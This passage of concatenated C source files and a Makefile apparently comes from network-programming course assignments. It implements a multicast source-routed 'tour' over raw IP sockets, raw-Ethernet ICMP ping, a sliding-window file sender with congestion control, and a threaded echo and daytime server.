IP_ADD_MEMBERSHIP, (const void *)&imreq, sizeof(struct ip_mreq)); joinedMulticast = TRUE; } } static printIPPacket(IPPacket *packet, int nbytes) { struct ip *iphdr = &packet->iphead; TourPayload *payload = &packet->payload; printf("IP Header =>\n"); printf("Header Len: %d\t", iphdr->ip_hl); printf("Version: %d\t", iphdr->ip_v); printf("TOS: %d\n", iphdr->ip_tos); printf("Total Len: %d\t", ntohs(iphdr->ip_len)); printf("Ident Num: %x\n", ntohs(iphdr->ip_id)); printf("Offset: %d\t", iphdr->ip_off); printf("TTL: %d\t", iphdr->ip_ttl); printf("Protocol Num: %d\n", iphdr->ip_p); printf("Src IP: %s\t", getIPStrByIPAddr(iphdr->ip_src)); printf("Dst IP: %s\t", getIPStrByIPAddr(iphdr->ip_dst)); printf("Checksum: %x\n", ntohs(iphdr->ip_sum)); printf("Packet Payload =>\n"); printf("MCast IP: %s\t", getIPStrByIPAddr(payload->multicastIP)); printf("MCast Port: %d\n", payload->multicastPort); printf("Total TourNodes: %d\t", getTourNodeCntByPackSize(nbytes)); printf("CurInd: %d\t", payload->curIndex); printf("CurTourDest: %s\n", getIPStrByIPAddr(getCurTourDestIP(packet))); } static int recvIPPacket(int sockfd, IPPacket *packet) { int nbytes; nbytes = Recvfrom(RTRouteSD, packet, sizeof(IPPacket), 0, NULL, NULL); packet->iphead.ip_len = ntohs(packet->iphead.ip_len); packet->iphead.ip_id = ntohs(packet->iphead.ip_id); packet->iphead.ip_sum = ntohs(packet->iphead.ip_sum); // Filter packets with unknown identification number if (packet->iphead.ip_id != UNIQ_ID) { err_msg("IP Packet with Unknown Identification Number received"); return 0; } #if DEBUG printf("Recevied IP Packet of len %d ==>\n", nbytes); printIPPacket(packet, nbytes); #endif return nbytes; } static void sendIPPacket(int sockfd, IPPacket *packet, SA *sockAddr, int salen, int nbytes) { #if DEBUG printf("Sending IP Packet of len %d ==>\n", nbytes); printIPPacket(packet, nbytes); #endif Sendto(RTRouteSD, packet, nbytes, 0, sockAddr, salen); } static void fillIPHeader(IPPacket *packet, IA destIP, uint16_t numBytes) { struct ip *iphdr = (struct ip *) &packet->iphead; iphdr->ip_hl = sizeof(struct ip) >> 2; iphdr->ip_v = IPVERSION; iphdr->ip_tos = 0; iphdr->ip_len = htons(numBytes); iphdr->ip_id = htons(UNIQ_ID); iphdr->ip_off = 0; iphdr->ip_ttl = TTL_OUT; iphdr->ip_p = IPPROTO_TOUR; iphdr->ip_src = HostIP; iphdr->ip_dst = destIP; iphdr->ip_sum = htons(in_cksum((uint16_t *)packet, numBytes)); } static int forwardPacket(IPPacket *packet, int numNodes) { struct sockaddr_in tourSockAddr; IA destIP; uint16_t bytesToWrite; incrementTourIndex(packet); destIP = getCurTourDestIP(packet); bzero(&tourSockAddr, sizeof(tourSockAddr)); tourSockAddr.sin_family = AF_INET; tourSockAddr.sin_addr = destIP; bytesToWrite = sizeof(IPPacket) - ((MAXHOPS - numNodes) * sizeof(IA)); fillIPHeader(packet, destIP, bytesToWrite); sendIPPacket(RTRouteSD, packet, (SA*) &tourSockAddr, sizeof(tourSockAddr), bytesToWrite); return bytesToWrite; } static void startTour(IA *List, int tourCount) { IPPacket packet; TourPayload *payload; bzero(&packet, sizeof(packet)); printf("Initializing Tour....OK.\n"); generateDataPayload(&packet.payload, List, tourCount); forwardPacket(&packet, tourCount); } static void sendEndMulticast() { char msgBuf[MAX_BUF]; struct sockaddr_in addr; /* set up destination address */ memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr = MulticastIP; addr.sin_port = htons(MulticastPort); sprintf(msgBuf, "<<<<< This is node VM%d. Tour has ended. Group members please identify yourselves. >>>>>", getHostVmNodeNo()); printf("Node VM%d => Sending: %s\n", getHostVmNodeNo(), msgBuf); Sendto(MulticastSD, (void *)msgBuf, MAX_BUF, 0, (SA *) &addr, sizeof(addr)); } static void handleMulticast() { char msgBuf[MAX_BUF]; struct sockaddr_in addr; fd_set fdSet, readFdSet; struct timeval timeout; int maxfd; uint32_t n; int numNodes = 0; n = Recvfrom(MulticastSD, msgBuf, MAX_BUF, 0, NULL, NULL); msgBuf[n] = '\0'; printf("Node VM%d => Received: %s\n", getHostVmNodeNo(), msgBuf); /* set up destination address */ memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr = MulticastIP; addr.sin_port = htons(MulticastPort); sprintf(msgBuf, "<<<<< Node VM%d. I am a member of the group. >>>>>",getHostVmNodeNo()); printf("\nNode VM%d => Sending: %s\n\n", getHostVmNodeNo(), msgBuf); Sendto(MulticastSD, msgBuf, sizeof(msgBuf), 0, (SA *) &addr, sizeof(addr)); FD_ZERO(&fdSet); FD_SET(MulticastSD, &fdSet); while (1) { readFdSet = fdSet; timeout.tv_sec = READ_TIMEOUT; timeout.tv_usec = 0; maxfd = MulticastSD + 1; n = Select(maxfd, &readFdSet, NULL, NULL, &timeout); // Multicast Timeout if (n == 0) { printf("Terminating Tour Application.\n"); printf("Total Members in Multicast Group: %d\n", numNodes); printf("================================================================\n"); exit(0); } // Received IP Packet on tour rt socket else if (FD_ISSET(MulticastSD, &readFdSet)) { n = Recvfrom(MulticastSD, msgBuf, MAX_BUF, 0, NULL, NULL); msgBuf[n] = '\0'; printf("Node VM%d => Received: %s\n", getHostVmNodeNo(), msgBuf); numNodes++; } } } static void readAllSockets() { fd_set fdSet, readFdSet; struct timeval timeout; bool pingStatus[MAX_NODES+1] = {FALSE}; bool endOfTour; int maxfd, pingCountDown, n; FD_ZERO(&fdSet); FD_SET(RTRouteSD, &fdSet); FD_SET(PingReplySD, &fdSet); endOfTour = FALSE; pingCountDown = PING_COUNTDOWN; while (1) { readFdSet = fdSet; timeout.tv_sec = PING_TIMEOUT; timeout.tv_usec = 0; maxfd = max(RTRouteSD, PingReplySD); if (joinedMulticast) { FD_SET(MulticastSD, &readFdSet); maxfd = max(maxfd, MulticastSD); } n = Select(maxfd + 1, &readFdSet, NULL, NULL, isPingEnable(pingStatus) ? &timeout : NULL); // PING Timeout if (n == 0) { printf("\n"); assert(isPingEnable(pingStatus) && "Ping Status should be enable"); if (endOfTour) { pingCountDown--; } if (pingCountDown == 0) { disablePingStatus(pingStatus); endOfTour = FALSE; pingCountDown = PING_COUNTDOWN; sendEndMulticast(); } else { sendPingRequests(PingReqSD, pingStatus, HostIP, HostMAC, -1); } } // Received IP Packet on tour rt socket else if (FD_ISSET(RTRouteSD, &readFdSet)) { IPPacket packet; int nbytes; if ((nbytes = recvIPPacket(RTRouteSD, &packet)) > 0) { int sourceNode = getVmNodeByIPAddr(packet.iphead.ip_src); printf("\n"); printf("[%s] Received Source Routing Packet from VM%d\n", curTimeStr(), sourceNode); if (isLastTourNode(&packet, nbytes)) { endOfTour = TRUE; } else { forwardPacket(&packet, getTourNodeCntByPackSize(nbytes)); } if (!pingStatus[sourceNode]) { printf("PING VM%d (%s): 20 data bytes\n", sourceNode, getIPStrByIPAddr(packet.iphead.ip_src)); pingStatus[sourceNode] = TRUE; sendPingRequests(PingReqSD, pingStatus, HostIP, HostMAC, sourceNode); } setMultiCast(packet.payload.multicastIP, packet.payload.multicastPort); } } // Received PING Reply IP Packet on pg socket else if (FD_ISSET(PingReplySD, &readFdSet)) { recvPingReply(PingReplySD); } // Received Multicast UDP message else if (FD_ISSET(MulticastSD, &readFdSet)) { printf("\n"); disablePingStatus(pingStatus); endOfTour = FALSE; pingCountDown = PING_COUNTDOWN; handleMulticast(); } } } int main(int argc, char* argv[]) { Eth0AddrPairs eth0AddrPairs[10] = {0}; IA IPList[MAXHOPS] = {0}; int nodeNo = 0; int i; // Get Host IP and MAC addresses HostIP = getIPAddrByVmNode(getHostVmNodeNo()); if (getEth0IfaceAddrPairs(eth0AddrPairs) <= 0) { err_quit("No Eth0 interfaces found!"); } memcpy(HostMAC, eth0AddrPairs[0].hwaddr, IF_HADDR); printf("Tour running on VM%d (%s)\n", getHostVmNodeNo(), getIPStrByIPAddr(HostIP)); createSockets(); if (argc == 1) { printf("No Tour specified. Running in Listening Mode ==>\n"); } else { for (i = 1; i < argc; i++) { nodeNo = atoi(argv[i]+2); #if DEBUG IP charIP; getIPStrByVmNode(charIP, nodeNo); printf("%d : VM%d ---> %s\n", i, nodeNo, charIP); #endif IPList[i] = getIPAddrByVmNode(nodeNo); } IPList[0] = HostIP; getMulticastInfo(); setMultiCast(MulticastIP, MulticastPort); startTour(IPList, argc); } readAllSockets(); } <file_sep>/A4/tour.h #ifndef _TOUR_H #define _TOUR_H #include "utils.h" #include <netinet/ip.h> #include <netinet/ip_icmp.h> #define DEBUG 0 #define MAXHOPS 100 // hops #define IPPROTO_TOUR 154 // Between 143-252 #define UNIQ_ID 0x6565 #define PING_REQ_ID 0x7676 #define TTL_OUT 1 #define AREQ_TIMEOUT 5 // sec #define PING_TIMEOUT 1 // sec #define PING_COUNTDOWN 5 #define MULTICAST_IP "192.168.3.11" #define MULTICAST_PORT 9854 #define MAX_BUF 1000 #define READ_TIMEOUT 5 /* ########################### TOUR Message format ###################### | IP Multicast Address | Port number | Current Index | IP LIST | | struct in_addr | UINT_16 | UINT_16 | ARRAY IP[MAX] | |##################################################################### */ typedef struct { IA multicastIP; uint16_t multicastPort; uint16_t curIndex; IA tourList[MAXHOPS]; } TourPayload; typedef struct { struct ip iphead; TourPayload payload; } IPPacket; struct PingIPPacket { struct ip iphead; struct icmp icmphead; } __attribute__((packed)); typedef struct PingIPPacket PingIPPacket; struct PingPacket { uint8_t destMAC[IF_HADDR]; uint8_t srcMAC[IF_HADDR]; uint16_t protocol; PingIPPacket pingIPPacket; } __attribute__((packed)); typedef struct PingPacket PingPacket; typedef struct { int sll_ifindex; /* Interface number */ uint16_t sll_hatype; /* Hardware type */ uint8_t sll_halen; /* Length of address */ uint8_t sll_addr[8]; /* Physical layer address */ } HWAddr; int areq(SA *IPaddr, socklen_t salen, HWAddr *hwaddr); bool isPingEnable(bool *pingStatus); void disablePingStatus(bool *pingStatus); int sendPingRequests(int sockfd, bool *pingStatus, IA hostIP, char *hostMAC, int specific); bool recvPingReply(int sockfd); #endif /* !_TOUR_H */ <file_sep>/A2/Makefile CC = gcc #HOME=/home/courses/cse533/Stevens/unpv13e_solaris2.10 HOME=/home/sahil/netprog/unpv13e #HOME=/home/dexter/Desktop/Shared/hgfs/SBU-Courses/NP/Assignment/code-ubuntu/netprog/unpv13e #-lsocket LIBS = -lresolv -lnsl -lpthread -lm\ ${HOME}/libunp.a\ FLAGS = -g -O2 CFLAGS = ${FLAGS} -I${HOME}/lib all: client server server: server.o common.o sender.o rtt.o ${CC} ${FLAGS} -o server server.o common.o sender.o rtt.o ${LIBS} server.o: server.c ${CC} ${CFLAGS} -c server.c sender.o: sender.c ${CC} ${CFLAGS} -c sender.c rtt.o: rtt.c ${CC} ${CFLAGS} -c rtt.c client: client.o common.o receiver.o ${CC} ${FLAGS} -o client client.o common.o receiver.o ${LIBS} client.o: client.c ${CC} ${CFLAGS} -c client.c receiver.o: receiver.c ${CC} ${CFLAGS} -c receiver.c common.o: common.c ${CC} ${CFLAGS} -c common.c clean: rm -f server client *.o <file_sep>/A2/sender.c #include "server.h" static int getNextNewPacket(TcpPckt *pckt, uint32_t seq, uint32_t ack, uint32_t winSize, int fileFd) { char buf[MAX_PAYLOAD+1]; int n = Read(fileFd, buf, MAX_PAYLOAD); return fillPckt(pckt, seq, ack, winSize, buf, n); } static void printSendWindow(SendWinQueue *SendWinQ) { int i, nextSendInd; printf(KCYM "Sending Window => "); printf("Cwin: %d SSThresh: %d Contents:", SendWinQ->cwin, SendWinQ->ssThresh); nextSendInd = GET_INDEX(SendWinQ, SendWinQ->nextSendSeqNum); for (i = 0; i < SendWinQ->winSize; i++) { if (i == nextSendInd) printf(" |"); if (IS_PRESENT(SendWinQ, i)) printf(" %d", GET_SEQ_NUM(SendWinQ, i)); else printf(" x"); } printf( RESET "\n"); } static SendWinNode* addPacketToSendWin(SendWinQueue *SendWinQ, TcpPckt *packet, int dataSize) { SendWinNode *wnode = GET_WNODE(SendWinQ, packet->seqNum); fillPckt(&wnode->packet, packet->seqNum, packet->ackNum, packet->winSize, packet->data, dataSize); wnode->dataSize = dataSize; wnode->isPresent = 1; wnode->numOfRetransmits = 0; // Update nextNewSeqNum if (SendWinQ->nextNewSeqNum == packet->seqNum) { SendWinQ->nextNewSeqNum++; } return wnode; } static void zeroOutRetransmitCnts(SendWinQueue *SendWinQ) { int i; for (i = 0; i < SendWinQ->winSize; i++) { SendWinQ->wnode[i].numOfRetransmits = 0; } } static void incrementCwin(SendWinQueue *SendWinQ, int allAcksReceived) { if ((allAcksReceived && IS_ADDITIVE_INC(SendWinQ)) || !(allAcksReceived || IS_ADDITIVE_INC(SendWinQ)) ) { SendWinQ->cwin = min(SendWinQ->cwin + 1, SendWinQ->winSize); } } static void updateAdditiveAckNum(SendWinQueue *SendWinQ) { if (IS_ADDITIVE_INC(SendWinQ)) { SendWinQ->additiveAckNum = SendWinQ->oldestSeqNum + SendWinQ->cwin; } else { SendWinQ->additiveAckNum = 0; } } void initializeSendWinQ(SendWinQueue *SendWinQ, int sendWinSize, int recWinSize, int nextSeqNum) { SendWinQ->wnode = (SendWinNode*) calloc(sendWinSize, sizeof(SendWinNode)); SendWinQ->winSize = sendWinSize; SendWinQ->cwin = 1; SendWinQ->ssThresh = sendWinSize; SendWinQ->oldestSeqNum = nextSeqNum; SendWinQ->nextNewSeqNum = nextSeqNum; SendWinQ->nextSendSeqNum = nextSeqNum; SendWinQ->advertisedWin = recWinSize; updateAdditiveAckNum(SendWinQ); } static sigjmp_buf jmpToSendFile, jmpToTerminateConn; static void sigAlarmForSendingFile(int signo) { siglongjmp(jmpToSendFile, 1); } static void sigAlarmForSendingFIN(int signo) { siglongjmp(jmpToTerminateConn, 1); } void sendFile(SendWinQueue *SendWinQ, int connFd, int fileFd, struct rtt_info rttInfo) { SendWinNode *wnode; TcpPckt packet; uint32_t seqNum, ackNum, winSize; int i, len, done, numPacketsSent, dupAcks; struct itimerval timer; sigset_t sigset; Signal(SIGALRM, sigAlarmForSendingFile); sigemptyset(&sigset); sigaddset(&sigset, SIGALRM); done = 0; while (!done) { zeroOutRetransmitCnts(SendWinQ); sendAgain: if (SendWinQ->advertisedWin == 0) { // Receiver's advertised winSize is 0. Send a Probe Message every PROBE_TIMER seconds. sleep(PROBE_TIMER/1000); len = fillPckt(&packet, PROBE_SEQ_NO, 0, 0, NULL, 0); Writen(connFd, (void *) &packet, len); printf(KYEL "\nPROBE packet Sent to check receiver's window size\n" RESET); } else { int once = 0; // Send Data Packets seqNum = SendWinQ->nextSendSeqNum; for (i = seqNum - SendWinQ->oldestSeqNum; i < min(SendWinQ->cwin, SendWinQ->advertisedWin); i++) { if (!once) { printf("\nPacket(s) Sent "); if (seqNum < SendWinQ->nextNewSeqNum) { printf(KYEL "(Retransmission) =>" RESET); } else { printf(KGRN "(New) =>" RESET); } once = 1; } if (seqNum < SendWinQ->nextNewSeqNum) { // Packet already in sending window int wInd = GET_INDEX(SendWinQ, seqNum); assert(IS_PRESENT(SendWinQ, wInd) && "Packet should be present"); assert((seqNum == GET_SEQ_NUM(SendWinQ, wInd)) && "Invalid Seq Num of Sending Packet"); len = GET_DATA_SIZE(SendWinQ, wInd); wnode = &SendWinQ->wnode[wInd]; wnode->numOfRetransmits++; } else { // Get new packet and add to sending window len = getNextNewPacket(&packet, seqNum, 0, 0, fileFd); wnode = addPacketToSendWin(SendWinQ, &packet, len); } // Send packet and update timestamp Writen(connFd, (void *) &wnode->packet, len); wnode->timestamp = rtt_ts(&rttInfo); printf(" %d", seqNum); seqNum++; // No more file contents to send if (len != DATAGRAM_SIZE) { done = 1; break; } } if (once) { printf("\n"); SendWinQ->nextSendSeqNum = seqNum; printSendWindow(SendWinQ); } } setTimer(&timer, rtt_start(&rttInfo)); if (sigsetjmp(jmpToSendFile, 1) != 0) { printf(KRED "\nReceving ACKs => TIMEOUT\n" RESET); if (SendWinQ->advertisedWin != 0) { int retransmitCnt = GET_OLDEST_SEQ_WNODE(SendWinQ)->numOfRetransmits; if (rtt_timeout(&rttInfo, retransmitCnt)) { char *str = "\nServer Child Terminated due to 12 Timeouts"; printf(KRED); err_msg(str); printf(RESET); break; } done = 0; // Multiplicative Decrease: Set SSThresh (Cwin / 2) and Cwin = 1 SendWinQ->ssThresh = SendWinQ->cwin / 2; SendWinQ->cwin = 1; updateAdditiveAckNum(SendWinQ); SendWinQ->nextSendSeqNum = SendWinQ->oldestSeqNum; } goto sendAgain; } dupAcks = 0; // Receive ACKs while (1) { // Unmask alarm handler routine sigprocmask(SIG_UNBLOCK, &sigset, NULL); len = Read(connFd, (void *) &packet, DATAGRAM_SIZE); readPckt(&packet, len, NULL, &ackNum, &winSize, NULL); // Mask alarm handler routine sigprocmask(SIG_BLOCK, &sigset, NULL); // Update advertised window size SendWinQ->advertisedWin = winSize; if (ackNum == PROBE_ACK_NO) { printf(KYEL "\nProbe ACK Received => Advertised Win: %d\n" RESET, winSize); break; } else { printf("\nACK Received => ACK num: %d\t Advertised Win: %d\n", ackNum, winSize); if (SendWinQ->oldestSeqNum == ackNum) { dupAcks++; if (dupAcks == 3) { printf(KRED "3 Duplicate ACKs received. Enabling Fast Retransmit.\n" RESET); done = 0; // Fast Recovery Mechanism: Set SSThresh and Cwin = (Cwin / 2) SendWinQ->ssThresh = SendWinQ->cwin / 2; SendWinQ->cwin = max(SendWinQ->ssThresh, 1); updateAdditiveAckNum(SendWinQ); SendWinQ->nextSendSeqNum = SendWinQ->oldestSeqNum; break; } else { printf(KYEL "%d Duplicate ACK(s) received\n" RESET, dupAcks); } } else { int once = 0; while (SendWinQ->oldestSeqNum < ackNum) { int wInd = GET_OLDEST_SEQ_IND(SendWinQ); assert(IS_PRESENT(SendWinQ, wInd) && "Packet should be present"); assert((SendWinQ->oldestSeqNum == GET_SEQ_NUM(SendWinQ, wInd)) && "Invalid Seq Num of Sending Packet"); if (!once) { rtt_stop(&rttInfo, SendWinQ->wnode[wInd].timestamp); once = 1; } SendWinQ->wnode[wInd].isPresent = 0; SendWinQ->oldestSeqNum++; // Slow Start incrementCwin(SendWinQ, 0); } if (IS_ADDITIVE_INC(SendWinQ)) { if (SendWinQ->additiveAckNum == 0) { updateAdditiveAckNum(SendWinQ); } else if (SendWinQ->additiveAckNum <= SendWinQ->oldestSeqNum) { // Additive Increase incrementCwin(SendWinQ, 1); updateAdditiveAckNum(SendWinQ); } } // Update Sequence number to be sent next if (SendWinQ->nextSendSeqNum < SendWinQ->oldestSeqNum) SendWinQ->nextSendSeqNum = SendWinQ->oldestSeqNum; printSendWindow(SendWinQ); // No more packets to send. So receive all remaining ACKs. if (done && (SendWinQ->oldestSeqNum != SendWinQ->nextNewSeqNum)) { continue; } break; } } } setTimer(&timer, 0); // Unmask alarm handler routine sigprocmask(SIG_UNBLOCK, &sigset, NULL); } } void terminateConnection(int connFd, char *errMsg) { TcpPckt finPacket, finAckPacket; int retransmitCount, len; struct itimerval timer; Signal(SIGALRM, sigAlarmForSendingFIN); retransmitCount = 0; len = fillPckt(&finPacket, FIN_SEQ_NO, 0, 0, errMsg, strlen(errMsg)); sendFINAgain: // Send a FIN to terminate connection printf(KYEL "\nFIN packet Sent to terminate connection\n" RESET); Writen(connFd, (void *) &finPacket, len); retransmitCount++; setTimer(&timer, FIN_ACK_TIMER); if (sigsetjmp(jmpToTerminateConn, 1) != 0) { if (retransmitCount >= MAX_RETRANSMIT) { char *str = "Server Child Terminated due to 12 Timeouts"; printf(KRED); err_msg(str); printf(RESET); return; } printf(KRED "TIMEOUT\n" RESET); goto sendFINAgain; } // Recv FIN-ACK from client printf(KYEL "Receving FIN-ACK => " RESET); do { Read(connFd, (void *) &finAckPacket, DATAGRAM_SIZE); } while (finAckPacket.ackNum != FIN_ACK_NO); setTimer(&timer, 0); printf(KGRN "Received\n" RESET); printf(RESET); } <file_sep>/A4/utils.h #ifndef _UTILS_H #define _UTILS_H #include <assert.h> #include <setjmp.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_arp.h> #include "unp.h" #include "hw_addrs.h" #define ARP_FILE "/tmp-arp" #define IPLEN 30 #define MAX_NODES 10 typedef char IP[IPLEN]; typedef struct in_addr IA; typedef enum { TRUE = 1, FALSE = 0 } bool; typedef struct { IA ipaddr; char hwaddr[IF_HADDR]; } Eth0AddrPairs; int getVmNodeByIPAddr(IA ipAddr); char* getIPStrByVmNode(char *ip, int node); char* getIPStrByIPAddr(IA ipAddr); IA getIPAddrByIPStr(char *ipStr); IA getIPAddrByVmNode(int node); int getHostVmNodeNo(); char* getFullPath(char *fullPath, char *fileName, int size, bool isTemp); bool isSameIPAddr(IA ip1, IA ip2); char* ethAddrNtoP(char *nMAC); int getEth0IfaceAddrPairs(Eth0AddrPairs *eth0AddrPairs); char* curTimeStr(); uint16_t in_cksum(uint16_t *addr, int len); void tv_sub(struct timeval *out, struct timeval *in); #endif /* !_UTILS_H */ <file_sep>/A1/server.c #include "unp.h" #include "common.h" #include <time.h> typedef struct clientInfo_t { char clientAddr[INET_ADDRSTRLEN]; int portNo; int connfd; } ClientInfo_t; static void emitErrMsgAndExitServer(char *msg) { fprintf(stderr, "Server termination: %s\n", msg); exit(EXIT_FAILURE); } static void *echo_server(void* arg) { ClientInfo_t *clientInfo; char echoBuf[MAXLINE+1]; int connfd, len; // Make this thread detachable Pthread_detach(pthread_self()); // Get connection socket fd clientInfo = (ClientInfo_t *) arg; connfd = clientInfo->connfd; retry: while ((len = Readline(connfd, echoBuf, MAXLINE)) > 0) { Writen(connfd, echoBuf, len); } if (len < 0 && errno == EINTR) { goto retry; } else { printf("Echo Client (%s : %d) termination: socket read returned with value %d", clientInfo->clientAddr, clientInfo->portNo, len); if (len < 0) { printf(" and errno = %s", strerror(errno)); } printf("\n"); } free(clientInfo); Close(connfd); return NULL; } static void *time_server(void* arg) { ClientInfo_t *clientInfo; fd_set readfds; struct timeval timeout; time_t ticks; char strbuf[MAXLINE]; int connfd, n, maxfd, len; // Make this thread detachable Pthread_detach(pthread_self()); // Get connection socket fd clientInfo = (ClientInfo_t *) arg; connfd = clientInfo->connfd; maxfd = connfd + 1; FD_ZERO(&readfds); timeout.tv_sec = timeout.tv_usec = 0; while (1) { FD_SET(connfd, &readfds); if ((n = select(maxfd, &readfds, NULL, NULL, &timeout)) < 0) { emitErrMsgAndExitServer("select error on connection socket"); } if (n != 0) { printf("Time Client (%s : %d) terminated ", clientInfo->clientAddr, clientInfo->portNo); if (errno != 0) { printf("by errno = %s\n", strerror(errno)); } else { printf("successfully\n"); } break; } // Get current time and store in buffer ticks = time(NULL); snprintf(strbuf, sizeof(strbuf), "%.24s\r\n", ctime(&ticks)); len = strlen(strbuf); if (write(connfd, strbuf, len) != len) { emitErrMsgAndExitServer("socket write error"); } timeout.tv_sec = 5; } free(clientInfo); Close(connfd); return NULL; } static int socketFlags; static int bind_and_listen(int portNo) { int listenfd, optVal; struct sockaddr_in servAddr; if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { emitErrMsgAndExitServer("server socket error"); } bzero(&servAddr, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_addr.s_addr = htonl(INADDR_ANY); servAddr.sin_port = htons(portNo); // Set socket option -> SO_REUSEADDR optVal = 1; if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &optVal, sizeof(optVal)) < 0) { emitErrMsgAndExitServer("setsockopt error"); } if (bind(listenfd, (SA *) &servAddr, sizeof(servAddr)) < 0) { emitErrMsgAndExitServer("server listen socket bind error"); } // Make listening socket to be non-blocking if (socketFlags = fcntl(listenfd, F_GETFL, 0) == -1) { emitErrMsgAndExitServer("fcntl fail to get socket options"); } if (fcntl(listenfd, F_SETFL, socketFlags | O_NONBLOCK) == -1) { emitErrMsgAndExitServer("fcntl fail to set O_NONBLOCK socket option"); } if (listen(listenfd, LISTENQ) < 0) { emitErrMsgAndExitServer("sever socket listen error"); } return listenfd; } static void spawn_child_service(int listenfd, void * (*pthread_func)(void *)) { struct sockaddr_in cliAddr; ClientInfo_t *clientInfo; char strbuf[INET_ADDRSTRLEN]; pthread_t tid; socklen_t len; int connfd; len = sizeof(cliAddr); connfd = Accept(listenfd, (SA *) &cliAddr, &len); // Reset socket options to blocking if (fcntl(connfd, F_SETFL, socketFlags) == -1) { emitErrMsgAndExitServer("fcntl fail to reset socket options"); } // Get client information which needs to be passed to pthread clientInfo = (ClientInfo_t *) Malloc(sizeof(ClientInfo_t)); Inet_ntop(AF_INET, &cliAddr.sin_addr, strbuf, sizeof(strbuf)); strcpy(clientInfo->clientAddr, strbuf); clientInfo->portNo = ntohs(cliAddr.sin_port); clientInfo->connfd = connfd; printf("New Connection from %s, port %d\n", clientInfo->clientAddr, clientInfo->portNo); // Spawn a new pthread with client information Pthread_create(&tid, NULL, pthread_func, (void *) clientInfo); } int main() { int listenfd_echo, listenfd_time; fd_set readfds; int maxfd; listenfd_echo = bind_and_listen(ECHO_PORT); listenfd_time = bind_and_listen(DAYTIME_PORT); maxfd = max(listenfd_echo, listenfd_time) + 1; FD_ZERO(&readfds); while(1) { FD_SET(listenfd_echo, &readfds); FD_SET(listenfd_time, &readfds); if (select(maxfd, &readfds, NULL, NULL, NULL) < 0) { emitErrMsgAndExitServer("select error on echo and time listen sockets"); } if (FD_ISSET(listenfd_echo, &readfds)) { spawn_child_service(listenfd_echo, echo_server); } if (FD_ISSET(listenfd_time, &readfds)) { spawn_child_service(listenfd_time, time_server); } } return 0; } <file_sep>/A4/tour_ping.c #include "tour.h" bool isPingEnable(bool *pingStatus) { int i; for (i = 1; i <= MAX_NODES; i++) { if (pingStatus[i]) return TRUE; } return FALSE; } void disablePingStatus(bool *pingStatus) { int i; for (i = 1; i <= MAX_NODES; i++) { pingStatus[i] = FALSE; } } static char* getHWAddrByIPAddr(IA s_ipaddr, char *s_haddr) { HWAddr hwAddr; struct sockaddr_in sockAddr; bzero(&sockAddr, sizeof(sockAddr)); sockAddr.sin_family = AF_INET; sockAddr.sin_addr = s_ipaddr; sockAddr.sin_port = 0; bzero(&hwAddr, sizeof(hwAddr)); hwAddr.sll_ifindex = 2; hwAddr.sll_hatype = ARPHRD_ETHER; hwAddr.sll_halen = ETH_ALEN; if (areq((SA *) &sockAddr, sizeof(sockAddr), &hwAddr) == 0) { memcpy(s_haddr, hwAddr.sll_addr, ETH_ALEN); return s_haddr; } return NULL; } static void printPingPacket(PingPacket *packet) { struct ip *iphdr = &packet->pingIPPacket.iphead; struct icmp *icmp = &packet->pingIPPacket.icmphead; printf("Ethernet Header =>\n"); printf ("Destination MAC: %s\n", ethAddrNtoP(packet->destMAC)); printf ("Source MAC: %s\n", ethAddrNtoP(packet->srcMAC)); printf("Protocol Number: 0x%x\n", ntohs(packet->protocol)); printf("IP Header =>\n"); printf("Header Len: %d\t", iphdr->ip_hl); printf("Version: %d\t", iphdr->ip_v); printf("TOS: %d\n", iphdr->ip_tos); printf("Total Len: %d\t", ntohs(iphdr->ip_len)); printf("Ident Num: 0x%x\n", ntohs(iphdr->ip_id)); printf("Offset: %d\t", iphdr->ip_off); printf("TTL: %d\t", iphdr->ip_ttl); printf("Protocol Num: %d\n", iphdr->ip_p); printf("Src IP: %s\t", getIPStrByIPAddr(iphdr->ip_src)); printf("Dst IP: %s\t", getIPStrByIPAddr(iphdr->ip_dst)); printf("Checksum: 0x%x\n", iphdr->ip_sum); printf("ICMP Header =>\n"); printf("Type: %d\t", icmp->icmp_type); printf("Code: %d\t", icmp->icmp_code); printf("Checksum: 0x%x\n", icmp->icmp_cksum); printf("ID: 0x%x\t", ntohs(icmp->icmp_id)); printf("Seq: %d\t", ntohs(icmp->icmp_seq)); printf("Data: %s\n", icmp->icmp_data); } static void fillPingIPHeader(PingIPPacket *packet, IA hostIP, IA destIP) { struct ip *iphdr = (struct ip*) &packet->iphead; iphdr->ip_hl = sizeof(struct ip) >> 2; iphdr->ip_v = IPVERSION; iphdr->ip_tos = 0; iphdr->ip_len = htons(sizeof(PingIPPacket)); iphdr->ip_id = htons(PING_REQ_ID); iphdr->ip_off = 0; iphdr->ip_ttl = 64; iphdr->ip_p = IPPROTO_ICMP; iphdr->ip_src = hostIP; iphdr->ip_dst = destIP; iphdr->ip_sum = in_cksum((uint16_t *)packet, sizeof(PingIPPacket)); } static void fillICMPEchoPacket(struct icmp *icmp) { static int nsent = 0; icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_id = htons(PING_REQ_ID); icmp->icmp_seq = htons(++nsent); Gettimeofday((struct timeval *) icmp->icmp_data, NULL); icmp->icmp_cksum = 0; icmp->icmp_cksum = in_cksum((uint16_t *) icmp, sizeof(struct icmp)); } static bool sendPingPacket(int sockfd, int destVMNode, IA hostIP, char *hostMAC) { PingPacket packet; struct sockaddr_ll sockAddr; IA destIP; char destMAC[IF_HADDR]; destIP = getIPAddrByVmNode(destVMNode); if (getHWAddrByIPAddr(destIP, destMAC) == NULL) { err_msg("Disable Pinging due to AREQ timeout"); return FALSE; } bzero(&packet, sizeof(packet)); bzero(&sockAddr, sizeof(&sockAddr)); // Fill ICMP header fillICMPEchoPacket(&packet.pingIPPacket.icmphead); // Fill IP header fillPingIPHeader(&packet.pingIPPacket, hostIP, destIP); // Fill Ethernet header memcpy(packet.destMAC, destMAC, IF_HADDR); memcpy(packet.srcMAC, hostMAC, IF_HADDR); packet.protocol = htons(ETH_P_IP); // Fill sockAddr sockAddr.sll_family = PF_PACKET; sockAddr.sll_protocol = htons(ETH_P_IP); sockAddr.sll_hatype = ARPHRD_ETHER; sockAddr.sll_pkttype = PACKET_OTHERHOST; 